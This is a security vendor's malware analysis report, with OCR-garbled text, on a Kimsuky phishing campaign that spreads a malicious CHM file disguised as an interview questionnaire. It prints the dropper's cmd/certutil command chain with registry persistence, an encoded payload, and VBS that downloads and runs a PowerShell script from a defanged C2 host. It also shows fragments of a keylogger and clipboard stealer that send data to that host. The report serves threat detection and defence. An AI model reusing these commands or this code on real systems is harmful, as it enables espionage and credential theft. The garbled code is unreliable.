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If the report includes statistics and indices, some data may be rounded,
meaning that the sum of each item may not match the total.

This report is a work of authorship protected by the Copyright Act.
Unauthorized copying or reproduction for profit is strictly prohibited under any

circumstances.

Seek permission from AhnlLab in advance
if you wish to use a part or all of the report.

If you reprint or reproduce the material without the permission of the organization
mentioned above, you may be held accountable for criminal or civil liabilities.

The version information of this report is as follows:

\Version Date Details

1.0 2023-03-13 First version

A CAUTION

This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report may change without notice if new
evidence is confirmed.
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Overview

AhnLab Security Emergency response Center (ASEC) has recently discovered a CHM
malware which is assumed to have been created by the Kimsuky group. This malware
type is the same as the one covered in the following ASEC blog posts and the analysis
report on the malware distributed by the Kimsuky group, its goal being the exfiltration of
user information.

e Analysis Report on Malware Distributed by the Kimsuky Group - Oct 20, 2022
o APT Attack Being Distributed as Windows Help File (*.chm) -Mar 17, 2022
« Malicious Help File Disguised as Missing Coins Report and Wage

Statement (*.chm)-May 11, 2022

The CHM file has been compressed and is being distributed as an email attachment. The
first email that is sent pretends to be an interview request about matters related to
North Korea. If the email recipient accepts the interview, then a password-protected
compressed file is sent as an attachment. Not only is this email pretending to be a North
Korea-related interview identical to the one previously analyzed, but it also follows the
same format of sending the malicious file only when a recipient replies to the email.

e Malware Disguised as Normal Documents (Kimsuky) - Feb 03, 2023
o Word File Provided as External Link When Replying to Attacker's Email (Kimsuky) -
July 26, 2022
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Figure 1. Distributed email
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Figure 3. Inside the compressed file

When the InterviewQuestionnaire(***).chm file is executed, a help document with actual
questions appears as shown below, making it difficult for users to realize that the file is

malicious.
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Figure 4. CHM disguised as a questionnaire

The CHM holds a malicious script, and, like the CHM malware covered before, it uses a
shortcut object (ShortCut). The shortcut object is called through the Click method and
the command in Item1 is executed. The command executed through
‘InterviewQuestionnaire(***).chm’ is as follows.

o Executed Command
cmd, /c echo [Encoded Command] > "“%USERPROFILE%WLinks¥WDocument.dat &
start /MIN certutil -decode "% USERPROFILE%WLinksWDocument.dat”
"% USERPROFILE%WLinksWDocument.vbs” & start /MIN REG ADD
HKCUWSOFTWAREWMicrosoftwWindows¥WCurrentVersion¥™Run /v Document /t
REG_SZ /d “%USERPROFILE%WLinksWDocument.vbs” /f’
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<0OBJECT id= clazzid="clsid:52alaaae-085d-4187-9Tea-8c30db990436" wi 1 height=lx»
<PARAM n "Command" w "Shortlut">

<PARAM name="Button" "Bitmap: shortont">

<PARAM name="Iteml" v *,omd, fe echo

U3Vi IFdNUHFvYyhwi 2Nt ECKkNCgl 2z ZX0gd 2 0gPSBHEXRFYmp1 Y 30oIndpbml nb¥Rz0ndpb My X 3Byb2H1 c3Mi ERORKCYN1LACEvd Mg PSBHEXRPYmp1 Y 30o Indpbmin
bXRz0lxyb2 90XOHpbXYyIikNCglzZX(gh3H0ID0gb3dzLkdldCgiV2 luMzJfUHIvY 2Vzol HOYXI0d AL RDOKCKN 1 dCBvY 29021 A9IG9zdC5 TeCGF 3bk luc3Rhbmi 1
XwORCWI b2 imL1Nob3dXaWikb3ogP SAxMgORCWVyol J1dEVY 1 ASTHA L LNy ZWF 0 ZShwX2Ht Z20wg TnVebOwgb 2NvbmY 3 THEpZCkNC Vo ZCB TAWIHCgORAX Jp ID0g
ImhDdHASLY 9teGV2 Xy LnJpYS5th252dGVy LINtdE1nZng i DRpwh3dIY2 1R ID0gImN t ZCAVY yBwb3dlenloZWxsICL b2 1 tYWSKICT i aWV4ICh3Z2VOIFh4eCok
IWlvLnR4dCknY2 SudiVodDsgSiSnubltleSAtd{Igl3h4eCoiIi INCnBvdl 3 jbWRgPSBSZXBs YWH1FEHEvd1 9 jbWlsICT4eHgi LCB1 cmkpDOpXTVBybh 2MocGI 3 2NE
ZCk > "RUSERPROFTLE%®%\Links‘\Dooument.dat" & start /MIN certotil -decode "SUSERPROFILE®YLinks‘\Dooument.dat"

ARUSERPROFILES®Y Links\Dooument . vbe" & start /MIN REG ADD HECU\SOFTWARE\Microsoft\Windowz‘\CorrentVersion\Ron /v Document [/t
REG_SZ /d "#%USERPROFILE%\Links\Document.vbs" /L'>

<PAREM name="Ttem2" walus=="273 1,1">

</OBJECT>
<SCIIpT>
SHETteny.Click() ;
</SCRIPT>

Figure 5. Malicious Script within CHM

Thus, the encoded command is saved to %USERPROFILE%WLinks#WDocument.dat when
the CHM is executed. The command that has been decoded by Certutil is saved

to %USERPROFILE%WLinks¥WDocument.vbs. The threat actor also

registered Document.vbs to the Run key
(HKCUWSOFTWAREWMicrosoftWWindowsWCurrentVersion¥WRun) to ensure the
malicious script would run persistently. Ultimately, Document.vbs executes the
PowerShell script in hxxp://mpevalr.ria[.Jmonster/Smtinfo/demo.txt.

Sub WMProc(p_cmd) Documentvbs Lff T E
sat wm = GetObject ("winmgmts:win32 procesa®™)
set ows = GetObject ("winmgmts:\root imv2")
sec 08t = ows.Get ("W e3sStart
set oconf = ost.Spawnlnstance_
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Sub

uri = "heoep://mpevalr.ria.monsater/Sm
pow cmd = "cmd /c powershell olal i i "Miex get xXxx/demo.txt).content; InfoEKey uY

pow_cmd = Replace (pow_cmd,
WMEroc tpnw_crr.d]

iIndow =

m = wm.Create(p_cmd, Null, ¢

ace(p

_cmd)
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Figure 6. (Top) A portion of Document.vbs's code / (Bottom) A portion of the vbs code
uncovered in a past report

The URL that Document.vbs connects to is currently unavailable, but a script assumed to
have been downloaded from this address has been found. The confirmed script file is
responsible for intercepting a user's key inputs before saving them in a certain file and
sending that file to the threat actor. In addition to reading the caption of the currently
running ForegroundWindow and keylogging, it periodically checks the clipboard contents
and saves them to

the %APPDATA%WMicrosoftWWindowsWTemplatesWPages_Elements.xml file.
Afterward, it sends this file to hxxp://mpevalr.ria[.Jmonster/Smtinfo/show.php.

$hTopWnd = $o_clk:: (§mClk([2]) () demo.txt Ll ZE
§len = §o clk:: (SmClk([<]) ($hTopWnd, §ScurWnd, §ScurWnd.Capacity)
if(ScurWnd.ToString() -ne SoldWnd) {
SoldWnd = ScurWnd.ToString()
St = Get-Date -Format Stf
[System.IO.File]: :AppendAllText (§Path, "'n ™ + St + ” (™ 4 ScurWnd.ToString() + "
————— n", Sc_e.nc_mode}

if(($0ldTick -eq 0) =-or ((ScurTick - §$oldTick) -gt BRI
$0ldTick = §curTick
$ourClip = $o_eclk:: ($mClk[:5]) ()
if ($oldClip -ne §ScurClip) {
S0ldClip = ScurClip
if($o_clk:: (SmCIk[7]) (1)) {
[System.I0.File]: :AppendAllText (SPath, "'n [Clipboard] n" + [Windows.
Clipboard]::GetTeXt() + " n-——————————————————————————— - n", §o_enc_mode)

Kimsuky 1% f%¥ 9d3E #4 oMM ZQlE Ac

Capacity)

7D

Q.File]=AppendAllText( : + [Windows.Clipboard]=GetText() +

Figure 7. (Top) A portion of demo.txt / (Bottom) A portion of the PowerShell script code
from a past report
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As can be seen from Figure 6 and Figure 7, Document.vbs (VBS script file) and demo.txt
(PowerShell script file) have the same format as the malware that was analyzed in the
‘Analysis Report on Malware Distributed by the Kimsuky Group’ published on ATIP last
year. With this in mind, users should take extreme caution as the Kimsuky group appears
to be distributing phishing emails with malware strains in various forms like Word files
and CHM.

[File Detection]

Dropper/CHM.Generic (2023.03.07.00)
Data/BIN.Encoded (2023.03.07.00)
Downloader/VBS.Agent.SC186747 (2023.03.07.00)
Trojan/PowerShell.Agent.SC186246 (2023.02.09.00)

[Behavior Detection]
Execution/MDP.Cmd.M4230

[10C]

MD5

726af41024d06df195784ae88f2849e4 (chm)
0f41d386e30e9f5ae5be4a707823fd78 (dat)
89c0e93813d3549efe7274a0b9597f6f (vbs)
9f560c90b7babf02233094ed03d9272e

C2
hxxp://mpevalr.ria[.]Jmonster/Smtinfo/demo.txt
hxxp://mpevalr.ria[.Jmonster/Smtinfo/show.php
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More security, More freedom

220, Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, Korea

About ASEC

AhnLab Security Emergency Response Center(ASEC), through our
team of highly skilled cyber threat analysts and incident
responders, delivers timely and accurate threat intelligence and
state-of-the-art response on a global scale. ASEC provides the
most contextual and relevant threat intelligence backed by our
groundbreaking research on malware, vulnerabilities, and threat
actors to help the global community stay ahead of evolving cyber-
attacks.

About AhnLab

AhnLab is a leading cybersecurity company with a reliable
reputation for delivering advanced cyber threat intelligence and
threat detection and response (TDR) capabilities with cutting-edge
technology. We offer a cybersecurity platform comprised of
purpose-built products securing endpoint, network, and cloud,
which ensures extended threat visibility, actionable insight, and
optimal response. Our best-in-class researchers and development
professionals are always fully committed to bringing our security
offerings to the next level and future-proofing our customers’
business innovation against cyber risks.



